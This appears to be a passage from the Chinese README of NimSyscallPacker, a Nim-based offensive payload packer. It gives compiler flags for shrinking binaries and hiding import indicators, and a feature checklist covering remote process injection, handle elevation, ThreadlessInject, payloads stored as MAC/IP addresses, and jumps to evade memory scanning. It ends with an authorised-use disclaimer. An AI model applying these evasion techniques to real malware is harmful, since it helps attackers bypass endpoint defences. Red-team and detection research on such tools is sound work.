dynlib,以避免函数 IoC 并减小体积 `-d:nimNoLibc -d:noSignalHandler --gc:none -d:noSignalHandler --infChecks:off --stdout:off --hotCodeReloading:off --stackTraceMsgs:off --tlsEmulation:off --nanChecks:off -d:nimBuiltinSetjmp --sinkInference:off --deepcopy:off --styleCheck:off --skipParentCfg --passC:"-nostdlib -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -fno-exceptions" --passL:"-s --disable-runtime-pseudo-relo --disable-reloc-section" --dynlibOverrideAll` - [X] 为远程进程注入或作为替代的 Handle 提升使用克隆的 Handles(类似于 Handlekatz) - [X] Handle 提升 - [X] 为远程注入添加 ThreadlessInject - [ ] 通过 Nim 移植 https://github.com/lem0nSec/CreateRemoteThreadPlus 添加用于远程注入的 Callback 执行原语 - [X] 将 Payloads 存储为 MAC 或 IP 地址,并在运行时获取加密的 Payload 以降低熵 - [X] 为线程起始地址中的不同区域添加多个跳转(类似于 DripLoader)以避免内存扫描检测 (https://web.archive.org/web/20220319032617/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection) ## 法律免责声明: 未经事先双方同意,使用 NimSyscallPacker 攻击目标是非法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,也不对由该程序造成的任何误用或损害负责。仅供教育目的使用。